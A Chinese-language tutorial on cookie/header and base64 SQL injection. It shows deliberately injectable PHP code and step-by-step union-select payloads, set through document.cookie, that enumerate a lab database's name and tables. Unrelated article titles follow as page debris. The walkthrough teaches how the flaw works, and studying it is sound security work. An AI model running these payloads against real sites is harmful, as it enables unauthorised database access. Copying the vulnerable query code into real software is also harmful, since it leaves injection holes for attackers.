前言:

什么是cookie注入?

cookie注入:

和一般的注入都一样,只是传参方式不一样。而cookie注入是以cookie方式进行修改注入。

GET注入就是在url网址后面加上需要进行的注入语句

POST注入就是在表单处进行的注入

cookie注入也可以理解为head头注入。比如xff头也是。

什么是head头注入?

顾名思义,就是请求包里面的那些请求,例如 user-agent 这个地方进行注入

在请求包里,有cookie,refer,u-a头,以及有些网址为记录ip,使用的就是xff(还有其他方式记录ip)

在这边进行注入,所以叫head头注入

什么是base64注入?

base64注入:

程序对GET的传参进行接收,并且对其进行解码,然后再放入查询语句中。

这时候我们可以编码,然后程序执行的时候,会把我们所编码的注入语句解码,再拼接到了原本程序要执行的代码中

正文:

0x01  cookie注入分析与实战

1)源码

<?php
$id = $_REQUEST['id'];
$value="1";
setcookie("id",$value);
$con = mysqli_connect('127.0.0.1','root','root','test');
if (mysqli_connect_errno()){echo "连接失败:".mysqli_connect_error();
}
$result = mysqli_query($con,"select * from user where `id`=".$id);
if (!$result){printf("Error: %s\n",mysqli_error($con));exit();
}
$row = mysqli_fetch_array($result);
echo $row['username'].":".$row['password'];
echo "<br>";
?>

首先接受 $_REQUEST传参 或者也可以修改成 $_COOKIE(下面是 $_REQUEST的用法以及优先级)

$_REQUEST数组获取内容的优先级,其字母的含义分别代表为:E代表$_ENV,G代表$_GET,P代表$_POST,C代表$_COOKIE,S代表$_SESSION。后面出现的数据会覆盖前面写入的数据,其默认的数据写入方式就是EGPCS,所以POST包含的数据将覆盖GET中使用相同关键字的数据。

setcookie():是对其进行赋值一个cookie。

第二个 if 是,如果用户没有传参,就会进行报错。

也就是说,运行的流程:

首先接受超全局变量,request。这时候cookie的优先级大于 post,大于get。cookie > post > get

这样的话就会覆盖前面的值,所传的参数。然而这边的cookie传参是可以被我们所控制的。并且这个地方有跟数据库交互。

然而有时候get或者post这个地方注入,会被waf拦截(对于以前的版本)

这时候就可以用cookie

2)cookie注入的“姿势”

cookie注入有2种以上的办法

①.第一种,使用burp进行抓包 注入

②. 第二种,在控制台处进行 注入

document.cookie="id=1 and 1=1"

这时候刷新页面,依然可以访问。为了清楚。可以直接把 REQUEST 修改为  COOKIE

$id = $_COOKIE['id'];

但是这里的话,我们需要进行一次url编码

document.cookie="id="+escape("1 order by 4")

防止出错

3)注入语句步骤

我们首先使用order by 3。发现页面正常,order by 4 页面报错。

所以这里有3个字段,这时候我们使用前面的 union select进行注入

document.cookie="id="+escape("1 and 1=2 union select 1,2,3")

这时候看payload下面那一行被编码了,我们f5刷新一下,成功的出现了回显点

于是再进行爆数据库,表

爆库:

document.cookie="id="+escape("1 and 1=2 union select 1,database(),3")

爆表:

document.cookie="id="+escape("1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1")

接下来的步骤跟前面的 union注入一样,都是一种 注入语句

0x02 base64 源码分析 与 靶场实战

<?php
$id = base64_decode($_GET['id']);
$conn = mysql_connect("127.0.0.1","root","root");
mysql_select_db("test",$conn);
$sql = "select * from user where id=$id";
$result = mysql_query($sql);
$tr = mysql_fetch_array($result);
while($row = $tr){echo "ID:".$row['id']."<br >";echo "user:".$row['username']."<br >"; echo "pass:".$row['password']."<br >";echo "<hr>";}mysql_close($conn);echo "now use: ".$sql."<hr>";?>

这是源码,主要在于 这段

$id = base64_decode($_GET['id']);

这段代码会把接受的get传参变进行一次base64解码,也就是说,我们在进行注入的时候

需要先进行一次编码,才会被执行

实战:

其实本人有点小偷懒的,就简单的表示一下

http://192.168.209.138/test/base64.php?id=MSc=

注意观看,id= 这个后面的东西发现是一串看不懂的东西

其实这就是base64编码。这样的话,我们每次注入的payload都要进行一次编码

然后注入方法与步骤一样

接下来我就不做了,这里源码就不需要闭合了

文末

因为前面的比较重要。所以我写的比较多。只要前面的懂了。后面的也就懂了

cookie注入 base64注入 原理详解相关推荐

  1. base64加密原理详解

    base64加密原理详解 声明:本文是在看了他人总结,并摘抄大部分图文,和少量自己的总结写成 原作者地址链接:Base64算法原理 Base64编码,是我们程序开发中经常使用到的编码方法.它是一种基于 ...

  2. base64加密原理详解及C语言源码

    base64加密原理详解 Base64从本质来说,其实并不是加密算法,只是一种编码方式而已,Base64的"加解密"也不叫加密解密,而是编码解码,但是现在一般都把它归为加密算法. ...

  3. sql注入的原理详解

    sql注入原理详解(一) 我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到 ...

  4. spring依赖注入原理详解(转载)

    spring依赖注入原理详解----转载 所谓依赖注入就是指:在运行期,由外部容器动态地将依赖对象注入到组件中.当spring容器启动后,spring容器初始化,创建并管理bean对象,以及销毁它.所 ...

  5. Web网络安全漏洞分析,SQL注入原理详解

    本文主要为大家介绍了Web网络安全漏洞分析SQL注入的原理详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪 一.SQL注入的基础 1.1 介绍SQL注入 SQL注入就是 ...

  6. 依赖注入神器:Dagger2详解系列

    依赖注入神器:Dagger2详解系列 序言 Dagger2是啥 Dagger2是啥,Google告诉我们: Dagger is a fully static, compile-time depende ...

  7. 依赖注入容器Autofac的详解[转]

    依赖注入容器Autofac的详解 发表于 2011 年 09 月 22 日 由 renfengbin 分享到:GMAIL邮箱         Hotmail邮箱 delicious digg Auto ...

  8. 【Spring】Spring 自动注入(autowire)详解

    1.概述 转载:添加链接描述 2. 手动注入的不足 [Spring]Spring 依赖注入之手动注入 上篇文章中介绍了依赖注入中的手动注入,所谓手动注入是指在xml中采用硬编码的方式来配置注入的对象, ...

  9. Base64编码解码原理详解

    Base64编码解码原理详解 1. Base64字符的组成部分 Base64所用字符: 0,1,2 -.9 A,B,C,D-Z a,b,c,d-z + / 对应ASCII: 48,49-58,65,6 ...

  10. Spring第8篇:自动注入(autowire)详解

    本文内容 手动注入的不足 Class.isAssignableFrom方法介绍 3种自动注入方式详解及案例 按名称自动注入 按类型自动注入 按构造器进行自动注入 按类型自动注入某种类型的所有bean给 ...

最新文章

  1. asp.net httpmodule 访问页面控件 备忘
  2. 微型计算机存取速度,微型计算机中,存取速度由快到慢排序:
  3. c语言单词复数,C语言关于复数
  4. Java 17正式发布, Oracle宣布免费提供!“版本任你发,我用Java 8”或成历史?...
  5. 2019牛客暑期多校训练营(第十场)
  6. 小米9疑似入网工信部 官宣暗示发布时间
  7. C程序范例(3)——结构体
  8. sqlserver一些对象的创建
  9. java线程定时执行任务_java实现多线程之定时器任务
  10. BootstrapTable 表格 checkbox 和 显示行号
  11. Notepad++取消去除文字下面的红色波浪线
  12. java熄灯问题,枚举算法案例--熄灯问题
  13. 动态代理是什么?应用场景?
  14. 本人新开的一个人才网站,玉环人力网
  15. 【附源码】计算机毕业设计SSM网上商城比价系统
  16. 大数据环境下,征信,真的那么美好吗?
  17. 计算机视觉项目实战-图像特征检测harris、sift、特征匹配
  18. m.soudashi.cn 地图_做搜索引擎优化掌握好三个方向即可
  19. 优秀的python库_一个优秀Python库,轻松吟诗作对写文章!
  20. 判断vector中是否存在某元素的多种方法

热门文章

  1. vscode常用插件与配置
  2. 关于字符与字符串中“烫烫烫”的问题
  3. 2018清华计算机类专业录取分数线,清华大学2018年各省各批次录取分数线
  4. Mac使用技巧:如何快速切换登录多个用户
  5. mac 触控板使用技巧
  6. matlab 如何得到矩阵的 角向和 径向分布,波函数的角度分布图和概率径向分布图.ppt...
  7. HUAWEI 机试题:出勤奖的判断
  8. Cannot parse date 2023-01-16 09:48:12: while it seems to fit format 'yyyy-MM-dd'T'HH:mm:ss.SSSZ'
  9. 约瑟夫问题java代码
  10. dataguard mysql,搭建dataguard在同步数据时报错